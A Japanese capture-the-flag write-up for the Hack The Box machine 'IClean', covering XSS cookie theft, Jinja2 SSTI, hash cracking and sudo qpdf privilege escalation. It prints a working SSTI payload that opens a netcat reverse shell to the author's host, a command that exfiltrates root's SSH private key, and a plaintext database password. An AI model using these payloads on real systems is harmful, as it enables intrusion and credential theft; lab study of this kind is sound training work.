【Hack The Box】IClean【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___IClean___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.12 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.12:22
Open 10.10.11.12:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 07:56 EDT
Initiating Ping Scan at 07:56
Scanning 10.10.11.12 [4 ports]
Completed Ping Scan at 07:56, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:56
Completed Parallel DNS resolution of 1 host. at 07:56, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:56
Scanning 10.10.11.12 [2 ports]
Discovered open port 22/tcp on 10.10.11.12
Discovered open port 80/tcp on 10.10.11.12
Completed SYN Stealth Scan at 07:56, 0.22s elapsed (2 total ports)
Nmap scan report for 10.10.11.12
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2024-04-23 07:56:39 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
22と80番Portが公開されている。
ブラウザでアクセスしたときに`capiclean.htb`にアクセスできないといわれるので以下のように`/etc/hosts`に登録します。

```bash
10.10.11.12    capiclean.htb
```
再度アクセスしたとき以下のように表示されます。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1fdc5c60-d0fa-d4e8-fe34-bd5957e921f2.png)
## サイト探索
### ディレクトリ探索
まずは`dirsearch`です。
```bash
┌──(root㉿kali)-[~]
└─# dirsearch -u http://capiclean.htb/     
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_capiclean.htb/__24-04-23_08-03-13.txt

Target: http://capiclean.htb/

[08:03:13] Starting: 
[08:03:33] 200 -    2KB - /about
[08:04:02] 302 -  189B  - /dashboard  ->  /
[08:04:18] 200 -    2KB - /login
[08:04:19] 302 -  189B  - /logout  ->  /
[08:04:37] 403 -  278B  - /server-status
[08:04:37] 403 -  278B  - /server-status/
[08:04:38] 200 -    8KB - /services

Task Completed
```
ダッシュボードがあるようだが、ログインページにリダイレクトされてしまう。
### エンドポイント列挙
`katana`を使う。
```bash
┌──(root㉿kali)-[~]
└─# katana -u http://capiclean.htb/

   __        __                
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/							 

		projectdiscovery.io

[INF] Current katana version v1.0.5 (outdated)
[INF] Started standard crawling for => http://capiclean.htb/
http://capiclean.htb/
http://capiclean.htb/static/js/custom.js
http://capiclean.htb/static/js/jquery-3.0.0.min.js
http://capiclean.htb/static/js/jquery.fancybox.min.js
http://capiclean.htb/static/js/owl.carousel.js
http://capiclean.htb/static/js/popper.min.js
http://capiclean.htb/static/js/jquery.mCustomScrollbar.concat.min.js
http://capiclean.htb/static/js/'+i+'
http://capiclean.htb/static/js/jquery.min.js
http://capiclean.htb/static/js/bootstrap.bundle.min.js
http://capiclean.htb/static/js/'+s+'
http://capiclean.htb/static/js/%7Bhref%7D
http://capiclean.htb/static/css/owl.theme.default.min.css
http://capiclean.htb/static/css/owl.carousel.min.css
http://capiclean.htb/static/css/jquery.mCustomScrollbar.min.css
http://capiclean.htb/static/css/responsive.css
http://capiclean.htb/static/css/style.css
http://capiclean.htb/quote
http://capiclean.htb/team
http://capiclean.htb/choose
http://capiclean.htb/static/css/bootstrap.min.css
http://capiclean.htb/login
http://capiclean.htb/about
http://capiclean.htb/
http://capiclean.htb/services
http://capiclean.htb/static/js/plugin.js
```
`quote`階層などが気になるといったところだ。
### ブラウジング
`quote`階層を見てみる。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8ed1bc77-2cb9-b0aa-a7de-532b9c833faa.png)
リクエストをPOSTしてみると以下の画面に偏移する。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cef57dfc-66c0-e2de-2674-d0c4b533fc0a.png)
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/80810a7c-780e-5e1b-5746-78bd004fac16.png)
後でTeamが確認するみたいなこと書いているので、クライアント側への攻撃が出来そう。
`login`階層も見てみる。
![1-0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/76d27032-1fff-14bd-a907-b8a920c5980a.png)
ふむとりあえずここら辺を攻めていこうと思う。

# イニシャルアクセス
## SQLi Auth Bypass
loginをSQLiでBypassする。
あまりハマるパターンはないのだがとりあえずBurpで回しておいてもらう。
放置しつつ別のアクセスを試すといった形だ。
![1-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/13ff23ca-c790-1982-c3ee-08561d08fb25.png)
結果は上記のようになり、特段気になるレスポンスはなかった。
このIntruderの使い方は以下で詳細に説明している。

https://qiita.com/schectman-hell/private/f72ccd368b8b77bedbcb#burp-intruder

## XSS
ダッシュボードがありログインしたら見えそうなこと、クライアント側の攻撃が通りそうなことからXSSを仕掛けてみようと思う。
とりあえず受け側を以下で用意しておく。投げる場所はさっきの`quote`だ。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 -m http.server 80
```
Payloadは以下を参考に作成する。

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

エンコードをする。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9284c56a-527d-b4cb-0598-7d1db8cfa60a.png)
POSTのクエリにとりあえず全部ぶち込む。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b8602f33-ffa4-2e6d-3f36-da8fe0d9e6e8.png)
こない。次のPayload。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/072ce76d-6039-f1fd-7812-e7cf2e511c40.png)
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/40159665-4e54-a6ad-3ee5-0185995dadc9.png)
こない。
色々試していると、以下で引っかかる。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6cde4b36-4112-511e-597b-1c8d50d64c5e.png)
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/132352a6-bdfa-2758-7458-be9fe6f0fc49.png)
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d703f090-62e9-2cd3-f8fa-21d807906569.png)
このセッション情報をCookieに登録する。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2a7ed868-3bc2-ba91-a7be-06ad4fbce37d.png)
ダッシュボードにアクセスしてみる。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/42ba8167-e16d-9daf-67f3-c50aa2d4ce14.png)
いけた！！！
## SSTI
色々機能があったので試してみる。Invoice作ってみる。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fd79421a-9e1f-045c-e0d8-09af24772c04.png)
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ac245a66-bc0c-475c-fcfd-bc6647c3bbfa.png)
IDが払い出された。このIDでQR作ってみる。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/06fb856b-0434-afee-732c-51e044babd87.png)
QRをInsert？するみたいなのでRFIできるかもしれないのでHTTPで自分のサーバを指定してみる。
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/734c2dbd-703c-2705-1a09-df7d45794365.png)
あーBase64ね。入力が表示されるならSSTIも試してみる。
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/10afcc44-bab1-7634-2ab7-4d5d26abf941.png)
あ、こっちの脆弱性が見つかったので、SSTIから攻める。
だがここからSSTIのRCEペイロードを投げたが発火しない。何かBypassが必要と考えて調べてみると以下の記事が見つかる。

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

ここから以下のようなPayloadを注入します。
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e5f98f8d-5414-57f1-b64b-b106e1488da0.png)
発火してますね。
これでReverseShellを叩き込めそうです。

# Foothold
## ReverseShell
https://www.revshells.com/

いつもの上記のサイトからPayloadを作成します。
```bash
{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("busybox%20nc%2010.10.14.106%204444%20-e%20bash")["read"]()}}
```
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6bb3c2c5-93dd-2098-18ad-fd38d3f8e34b.png)
上手く帰ってきてますね。
## Interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

PythonでTTY作成後にCtrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。
```bash
┌──(root㉿kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.106] from (UNKNOWN) [10.10.11.12] 45012
whoami
www-data
python3 -c 'import pty;pty.spawn("bash")'
www-data@iclean:/opt/app$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg 
[1]  + continued  nc -lvnp 4444
                               export TERM=xterm
www-data@iclean:/opt/app$ export SHELL=/bin/bash
www-data@iclean:/opt/app$ 
```
まだこのシェルではUserフラグは奪取できていません。

# 横展開
## MySQL
色々ファイルを探っていると、app.pyにクレデンシャル情報を見つける。
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0594c89c-72b2-ecd6-0802-06bcda7f64f4.png)
このクレデンシャル情報を用いてDBにアクセスする。
mysqlコマンドが効くかどうか試してみる。
```bash
www-data@iclean:/opt/app$ mysql --version
mysql  Ver 8.0.36-0ubuntu0.22.04.1 for Linux on x86_64 ((Ubuntu))
www-data@iclean:/opt/app$ 
```
効くようだ。ならそのまま試す。
```bash
www-data@iclean:/opt/app$ mysql  -h 127.0.0.1 -u iclean -ppxCsmnGLckUb
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2055
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
```
列挙すると以下のように`consuela`の情報が見える。
```bash
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> use capiclean
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)

mysql> 
mysql> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password                                                         | role_id                          |
+----+----------+------------------------------------------------------------------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)

mysql> 
```
## Hashcat
どんなものでエンコードしているのか調べてみる
```bash
┌──(root㉿kali)-[~/work]
└─# hashid 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
Analyzing '0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
```
SHA-256のようである。
hashcatさんに投げてみる。
```bash
┌──(root㉿kali)-[~/work]
└─# hashcat -m 1400 -a 0 hash /usr/share/wordlists/rockyou.txt --force     
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-Intel(R) Core(TM) i7-10700F CPU @ 2.90GHz, 2919/5902 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494da...6927aa
Time.Started.....: Wed Apr 24 11:02:22 2024, (2 secs)
Time.Estimated...: Wed Apr 24 11:02:24 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1674.1 kH/s (0.30ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3751936/14344385 (26.16%)
Rejected.........: 0/3751936 (0.00%)
Restore.Point....: 3749888/14344385 (26.14%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: simplenaruto -> simona_s
Hardware.Mon.#1..: Util: 31%

Started: Wed Apr 24 11:01:56 2024
Stopped: Wed Apr 24 11:02:25 2024
```
このクレデンシャル情報でログインしてみる。
![22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c58ec43e-9d9d-ecca-0acf-f0415b7f56da.png)
いけました！ユーザフラグゲットです。

# 特権昇格
## sudo -l
いつもの調べてみます。
```bash
consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf
consuela@iclean:~$ 
```
`qpdf`がRootで回せそう。
何が出来るのか調査してみます。

https://qpdf.readthedocs.io/en/stable/cli.html#basic-invocation

ヘルプも参照しながら調べてみると、ファイルをPDFの中にアタッチできそうである。
```bash
consuela@iclean:~$ /usr/bin/qpdf --help
Run "qpdf --help=topic" for help on a topic.
Run "qpdf --help=--option" for help on an option.
Run "qpdf --help=all" to see all available help.

Topics:
  add-attachment: attach (embed) files
  advanced-control: tweak qpdf's behavior
  attachments: work with embedded files
  completion: shell completion
  copy-attachments: copy attachments from another file
  encryption: create encrypted files
  exit-status: meanings of qpdf's exit codes
  general: general options
  help: information about qpdf
  inspection: inspect PDF files
  json: JSON output for PDF information
  modification: change parts of the PDF
  overlay-underlay: overlay/underlay pages from other files
  page-ranges: page range syntax
  page-selection: select pages from one or more files
  pdf-dates: PDF date format
  testing: options for testing or debugging
  transformation: make structural PDF changes
  usage: basic invocation

For detailed help, visit the qpdf manual: https://qpdf.readthedocs.io
consuela@iclean:~$ 
```
であれば`/root/.ssh/id_rsa`をアタッチさせる方向でコマンドを調整してみる。
エラーと試行錯誤を繰り返していると以下のコマンドが通った。
```bash
consuela@iclean:~$ sudo /usr/bin/qpdf --empty test --add-attachment /root/.ssh/id_rsa -- --qdf
```
![24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b54be6e6-d0ac-7b9c-d88a-5a98b5d35a2e.png)
この秘密鍵を`root_key`として保存する。これでRoot権限で入ってみる。
![25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f891c915-e7f1-779e-eed4-865f64769d0d.png)
いけました。これでRoot権限奪取です！
# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/104d5a30-d70e-d9bb-58e7-c9149fc8d36a.png)
これで特権昇格に成功し、Root権限を奪取できました。
最近XSS利用が多くなっている気がします。XSS以前まで全然出てなかったのでだいぶ新鮮。XSS何もわからん。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。